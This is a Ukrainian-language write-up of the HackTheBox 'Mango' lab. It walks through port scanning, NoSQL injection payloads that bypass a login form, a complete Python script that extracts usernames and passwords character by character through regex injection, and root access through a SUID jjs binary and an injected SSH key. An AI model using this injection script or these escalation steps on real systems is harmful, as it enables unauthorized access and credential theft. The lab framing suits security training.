Як виявити та використовувати вразливості NoSQL? Ця стаття детально розповідає про процес тестування проникнення, заснований на реальному завданні «Mango» з платформи HackTheBox. Ви дізнаєтеся, як використовувати сканери портів, такі як masscan та nmap, як знайти слабкі місця у формах авторизації та використати NoSQL-ін’єкції для отримання доступу до системи.
У статті розглядається експлуатація NoSQL-ін’єкції у формі авторизації та підвищення привілеїв за допомогою JJS.
Підключення до лабораторії здійснюється через VPN. Для безпеки рекомендується використовувати окремий комп’ютер або середовище, що не містить важливих даних, оскільки підключення відбувається до приватної мережі, де перебувають досвідчені фахівці у сфері інформаційної безпеки.
Ця машина має IP адресу 10.10.10.162, яку додаємо в /etc/hosts.
10.10.10.162 mango.htb
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
Для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A mango.htb -p22,80,443
Спочатку проводиться перевірка веб-сайту. При зверненні до mango.htb відбувається перенаправлення з HTTP на HTTPS, де виникає попередження про проблему із сертифікатом. Погодившись на ризики, стає можливим перегляд вмісту сторінки.
Однак, більше нічого цікавого на сайті не виявлено. У результатах сканування nmap знаходиться інформація про ssl-cert, де вказано домен. Для подальшої роботи додаємо цей домен до файлу /etc/hosts.
10.10.10.162 staging-order.mango.htb
І зайдемо глянути, що там.
Тут є форма авторизації – можлива точка входу.
Після отримання успішного істинного результату для другої умови, відбувається перенаправлення на сторінку home.php, що підтверджує успішне виконання NoSQL ін’єкції.
Оскільки на сторінці немає нічого цікавого, єдине, що можна отримати з цієї вразливості — це логіни та паролі.
Для визначення максимальної довжини логінів та паролів можна використати наступні конструкції:
Для логіну:
login[$regex]=.{length}&password[$ne]=123
, що дозволяє виконати порівняння за регулярним виразом для логіну, одночасно перевіряючи, що пароль неправильний.
Для пароля:
login[$ne]=123; password[$regex]=.{length}
, що дозволяє перевірити максимальну довжину пароля, за умови, що логін неправильний.
Ці запити можна автоматизувати за допомогою Burp Intruder, щоб швидко протестувати різні варіанти довжин та отримати потрібну інформацію.
Таким чином, максимальна довжина логіну становить 5 символів. Проробивши ті ж операції для пароля, визначаємо, що максимальна довжина пароля – 16 символів.
Оскільки вручну перебирати варіанти надто довго, можна створити скрипт на Python для автоматизації цього процесу. Спочатку налаштуємо сесію для роботи з веб-запитами.
import string import requests alfa = string.printable URL = 'http://staging-order.mango.htb' r = requests.session() ans = r.get(URL) r.headers = {"Content-Type":"application/x-www-form-urlencoded"} logins = []
Далі реалізується функція для перебору логінів. Перебір буде здійснюватися за допомогою регулярного виразу ^name.*
, що дозволяє витягувати по одному символу.
def logins_find(login): is_find = False for char in alfa[:62]: data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char) resp = r.post(URL, data=data) print('login: %s ' % (login+char), end='\r') if len(resp.history): is_find = True logins_find(login+char) if not is_find: print('login found: %s ' % (login)) logins.append(login)
І подібна функція лише з використанням знайденого логіну.
def passwords_find(login, password): is_find = False for char in alfa: if char in ['*','+','.','?','|', '#', '&', '$', '\\']: char = '\\' + char data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char) resp = r.post(URL, data=data) print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r') if len(resp.history): is_find = True passwords_find(login, password+char) if not is_find: print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
Ось повний код для перебору логінів за допомогою регулярного виразу ^name.*
:
#!/usr/bin/python3 import string import requests alfa = string.printable[:-6] URL = 'http://staging-order.mango.htb' r = requests.session() ans = r.get(URL) r.headers = {"Content-Type":"application/x-www-form-urlencoded"} logins = [] def logins_find(login): is_find = False for char in alfa[:62]: data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char) resp = r.post(URL, data=data) print('login: %s ' % (login+char), end='\r') if len(resp.history): is_find = True logins_find(login+char) if not is_find: print('login found: %s ' % (login)) logins.append(login) def passwords_find(login, password): is_find = False for char in alfa: if char in ['*','+','.','?','|', '#', '&', '$', '\\']: char = '\\' + char data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char) resp = r.post(URL, data=data) print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r') if len(resp.history): is_find = True passwords_find(login, password+char) if not is_find: print("[+] password for %s: %s " % (login, (password+char).replace('\\', ''))) print("SEARCH logins:") logins_find("") print("\nSEARCH passwords:") [ passwords_find(login, "") for login in logins ]
І, як наслідок, знаходимо облікові дані двох користувачів.
З обліковими даними успішно підключаємося SSH.
Проведемо базове перерахування за допомогою скрипта LinEnum.
Знаходимо програму з виставленим S-бітом.
Перевіряємо JJS на приклад GTFOBins.
/root/.ssh/authorized_keys
і підключитися за допомогою приватного ключа.Давайте вважаємо публічний ключ.
Запишемо його.
І тепер підключимося як root.
Стаття описує процес експлуатації вразливостей через NoSQL ін’єкцію для обходу авторизації, визначення максимальних довжин логінів і паролів. Для автоматизації перебору використовується Python-скрипт. Після цього, якщо SSH підключення неможливе, генерується пара SSH ключів, і публічний ключ додається до /root/.ssh/authorized_keys
для доступу через приватний ключ.